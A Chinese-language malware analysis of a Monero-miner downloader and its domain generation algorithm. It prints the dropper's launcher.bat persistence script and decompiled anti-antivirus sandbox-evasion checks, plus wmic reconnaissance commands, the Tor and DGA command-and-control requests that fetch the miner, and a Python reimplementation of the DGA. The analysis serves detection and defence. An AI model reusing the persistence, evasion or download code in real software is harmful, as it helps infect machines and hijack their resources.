一例門羅幣礦工Downloader的DGA解析
- 2020 年 3 月 27 日
- 筆記
Bert Hubert 注意到了一個涉及.tickets、.blackfriday、.feedback等頂級域名的 DGA 域名,並將其發布到 Twitter:

Paul Melson 揭露了其中一個域名與某個門羅幣礦工的關聯:

產生該域名的樣本相關資訊如下所示:
屬性 |
值 |
---|---|
MD5 |
39c8620827ab6005e57e9e9f172d47ff |
SHA1 |
239a7a6ea5155b1863815f595841d00cb0feec46 |
SHA256 |
e82c95edb680fd6a88b73eb8389759f03aebfcb70e081ecb259ea738e16f8cdd |
大小 |
7734 KB,7919356位元組 |
文件是一個 Nullsoft 安裝程式,該程式會釋放三個文件:

文件 |
描述 |
---|---|
PowerISO6-Full.exe |
可能是 PowerISO 6 的破解版,可能帶有其他惡意軟體。我並沒有分析該文件(MD5:31594d28c74f367073ba17acea9809f6) |
svchostc.exe |
本文涉及的惡意軟體(MD5:1d47bd7706b2032aa41257c92cb0e3b1) |
launcher.bat |
用於複製 svchostc.exe 到本地的 appdata 文件夾並創建計劃任務以在重新啟動時運行的安裝腳本(MD5:31c740ee5ebd975decd8345baa5ff4e6) |
將 launcher.bat 惡意軟體複製到本地 AppData 文件夾並創建計劃任務以 svchostc.exe 在主機啟動時運行二進位文件(延遲十分鐘):
@echo offecho "PATCHING..."set installpath=%~1if not exist "%LOCALAPPDATA%svchostc" mkdir %LOCALAPPDATA%svchostc >nul 2>&1move "%installpath%svchostc.exe" "%LOCALAPPDATA%svchostcsvchostc.exe" >nul 2>&1schtasks /create /tn svchostc /sc ONSTART /DELAY 0010:00 /RL HIGHEST → /tr "%LOCALAPPDATA%svchostcsvchostc.exe" /f >nul 2>&1start "" "%LOCALAPPDATA%svchostcsvchostc.exe" (goto) 2>nul & del "%~f0"
可以在 GitHub 中找到該 svchostc.exe 文件,當前 C&C 的 DGA 域名沒有部署任何 Payload,但是從 GitHub 的倉庫和 Paul Melson 的推文中都可以知道原本是門羅幣的礦工。
關於 Downloader
沒有發現關於 Downloader 文件 svchostc.exe(1d47bd7706b2032aa41257c92cb0e3b1)任何公開的分析報告。即使該樣本被許多殺毒軟體識別為惡意程式,但殺軟僅為該樣本提供了通用命名。在嘗試查找其他樣本時,偶然發現了下面這個文件:
屬性 |
值 |
---|---|
MD5 |
a4c3e4634219a9be12aebaebd91c75fa |
SHA1 |
59ffcd2bc41206ec4e4d2609b818a8e8cc1ec677 |
SHA256 |
2a821ee54d13c9d83909f1fadc283b9340e3f024cac36e97b29f88a94274788e |
大小 |
23213 KB,23769216位元組 |
許多反病毒軟體將其判定為 Riskware 或非病毒。該樣本與上述文件具有非常相似的功能,但在 C&C 方面有所不同,值得注意的是它沒有 DGA。
這兩個文件都是用 C++ 編寫的,沒有剝離調試資訊。因此,本文將維持惡意軟體編寫時函數的原始名稱。這兩個樣本文件都執行以下四個步驟:
1.檢查殺軟,發現就退出 2.收集系統資訊 3.與 C&C 伺服器通訊下載實際惡意軟體 4.確保下載的惡意軟體運行,並在必要時重新啟動
反殺軟
兩個樣本都使用相同的反殺軟檢查方法(avTests)。該方法由 Emeric Nasi 於 2014 年 8 月在論文《Bypass Antivirus Dynamic Analysis》中提出。一共六個測試用例,任何一個返回 True 的話惡意軟體會休眠 10 秒鐘並退出。
a-flsTest
bool flsTest(void){ return FlsAlloc(0i64) != FLS_OUT_OF_INDEXES;}
b-winApiTest
bool winApiTest(void){ HANDLE hProcess; // rax hProcess = GetCurrentProcess(); return VirtualAllocExNuma(hProcess, 0i64, 1000ui64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, 0) != 0i64;}
c-timeDistortionTest
_BOOL8 timeDistortionTest(void){ DWORD ticks_after; // [rsp+28h] [rbp-8h] DWORD ticks_before; // [rsp+2Ch] [rbp-4h] ticks_before = GetTickCount(); Sleep(1000u); ticks_after = GetTickCount(); return ticks_before + 1000 <= ticks_after && ticks_before + 1500 >= ticks_after;}
d-systemProcessTest
bool systemProcessTest(void){ return OpenProcess(PROCESS_ALL_ACCESS, 0, 4u) == 0i64;}
e-incrementTest
bool incrementTest(void){ int i; // [rsp+8h] [rbp-8h] int cpt; // [rsp+Ch] [rbp-4h] cpt = 0; for ( i = 0; i <= 99999999; ++i ) ++cpt; return cpt == 100000000;}
f-memoryTest
__int64 memoryTest(void){ void *Block; // [rsp+28h] [rbp-8h] Block = malloc(100000000ui64); if ( !Block ) return 0i64; memset(Block, 0, 100000000ui64); free(Block); return 1i64;}
收集系統資訊
帶有 DGA 的樣本僅收集兩個資訊:
失陷主機的處理器數量(GetSystemInfo) 門羅幣礦機的已安裝版本
礦工的版本以文件名保存在 CSIDL_LOCAL_APPDATAsvchostc
中,例如 C:UsersUserAppDataLocalsvchostc
。文件名的格式為 wincache<nr>
,其中 <nr>
為整數版本號。可以在 GitHub 上看到此類文件:

在這種情況下,版本號為 15。隨後將版本號和處理器數量存儲在字元串 ;v:<version>;c:<nrofprocessors>
中,例如 ;v:15;c:2
,之後使用 base64 編碼(如 O3Y6MTU7YzoyIC1uCg==)。
基於 Tor 的 Downloader 可以通過運行以下命令得到更多細節:
cmd.exe /c 「(wmic computersystem get /format:list) cmd.exe /c 「(wmic cpu get /format:list) cmd.exe /c 「(wmic memorychip get /format:list) cmd.exe /c 「(wmic path Win32_VideoController get /format:list) cmd.exe /c 「(wmic /Node:localhost /Namespace:rootSecurityCenter2 Path AntiVirusProduct Get /format:list) cmd.exe /c 「(wmic nicconfig get /format:list) cmd.exe /c 「(wmic os get /format:list) cmd.exe /c 「(wmic path Win32_SystemEnclosure get /format:list)
下載惡意軟體
基於 Tor 的下載器附帶的 Tor 版本為 0.3.3.7,該版本安裝到 %LOCALAPPDATA%Temp
。嘗試通過代理 127.0.0.1:9050
連接 http://www.google.com 以查看 Tor 是否正在運行。否則嘗試重新安裝該軟體,直到通過 Tor 與 Google 成功連接為止。隨後,該惡意軟體會嘗試交替從以下兩個域名下載 Payload:
asxe4d2fmz7ji5ux.onion dyvt2mleg33f6zdb.onion
基於 DGA 的惡意軟體不使用 Tor,兩個文件後續的步驟幾乎完全相同,只介紹基於 DGA 的惡意軟體。首先,惡意軟體使用簡單的 HTTP GET 請求將系統資訊發送到 hello.php:
GET /hello.php?info=O3Y6MDtjOjI= HTTP/1.1Host: 31b4bd31fg1x2.org Connection: close
響應要麼需要有 Content-Length
HTTP 頭,要麼需要 Payload 的長度設置在 HTTP 可選頭的第一行,長度以文本形式存儲。隨後是 512 位元組的 RSA 簽名,然後是簽名內容,最後是版本號,格式如下所示:
<length>rn<512 Bytes signature><version nr>
使用以下 RSA 密鑰驗證簽名:
30820120300D06092A864886F70D01010105000382010D00308201080282010100B5E3FE072C644E09E276**8**3DF8944FB9DE98641F9FA24785B1217581924299D5CBFF5FFA803A5A88F54142E9124E41BA2E9AE6862D5542D7592846E853F5C04AEC33550CB8023CE9780E15B4B6E1C***61683E0D387A6DC610DEF52AEE75D99706EA7AF7D9**65F97F14C9E2BA42BBE4735124AE08BA70962FA3DED1EDC5571644B0F6659671AED866164255D229946002D4A7C1D5B360410132EB5801AB985506316708170D749362E4B0E8B825EF358A2FA87601DE49E27E89F728E09D6FEAC1005F69BCDE8E63BEC25B3ED1664B29480501FAD3E9F3D043894A1D4751FFD4ACE00E403D5D1911C98CAFC54074CA04D126AEE24A4173625D57D3DD44E2F020111
如果版本號的簽名正常,並且版本大於已安裝的挖礦程式,則發出第二個 HTTP 請求:
GET /binary HTTP/1.1Host: 31b4bd31fg1x2.org Connection: close
響應的結構與前述相同,但不是版本號而是隨惡意軟體一起提供的未加密文檔。
DGA
基於 DGA 的惡意軟體噪音很大,它會生成無限數量的域名,直到獲得有效的 Payload 為止:

Downloader 有以下五個頂級域名:
.org .tickets .blackfriday .hosting .feedback
每個頂級域名都傳遞到一個單獨的執行緒中,該執行緒生成二級域名,然後執行前述操作。
DGA 每天最多生成五百個二級域名(共計兩千五百個二級域名)。每天的第一個域名都是特殊的,該域名始終使用硬編碼的第二個域名 31b4bd31fg1x2
。其餘 499 個域名的生成如下所示:
1.確定自 1970.1.1 以來的天數 2.將硬編碼的 Magic Number(jkhhksugrhtijys78g46)與前一步的天數和當前域名的計數(1 到 499)用短劃線連接起來(如 jkhhksugrhtijys78g46-18243-1) 3.對字元串進行 MD5 哈希,例如
00120343a5dc7d2e4e11938b0e1fed43
4.使用哈希的前 13 個字母作為二級域名並連接該執行緒所屬的頂級域名,如 00120343a5dc7.org
以下 Python 程式碼解釋了 DGA 生成的過程:
from datetime import datetimeimport hashlibimport argparse tlds = [ ".org", ".tickets", ".blackfriday", ".hosting", ".feedback",] magic = "jkhhksugrhtijys78g46"special = "31b4bd31fg1x2" def dga(date, back=0): epoch = datetime(1970, 1, 1) days_since_epoch = (date - epoch).days days = days_since_epoch for j in range(back+1): for nr in range(500): for tld in tlds: seed = "{}-{}-{}".format(magic, days, nr) m = hashlib.md5(seed.encode('ascii')).hexdigest() mc = m[:13] if nr == 0: sld = special else: sld = mc domain = "{}{}".format(sld, tld) yield domain days -= 1 if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-d", "--date", help="date when domains are generated") args = parser.parse_args() if args.date: d = datetime.strptime(args.date, "%Y-%m-%d") else: d = datetime.now() for domain in dga(d): print(domain)
例如,推文的中顯示域名來自 2018 年 4 月 10 日,如下所示:
python3 dga.py --date 2018-04-10
總結
屬性 |
描述 |
---|---|
類型 |
確定時間相關 |
生成方案 |
MD5 哈希 |
種子 |
當前日期與 Magic 字元串 |
域名變化頻率 |
1 天 |
每天生成域名數量 |
499(+1 硬編碼) |
順序 |
每個頂級域名在單獨的執行緒中運行,在該執行緒中依次生成域名 |
域名之間的等待時間 |
無 |
頂級域名 |
.org、.tickets、.blackfriday、.hosting、.feedback |
二級域名字元 |
a-z0-f |
二級域名長度 |
13 |
*參考來源:johannesbader,FB 小編 Avenger 編譯,轉載請註明來自FreeBuf.COM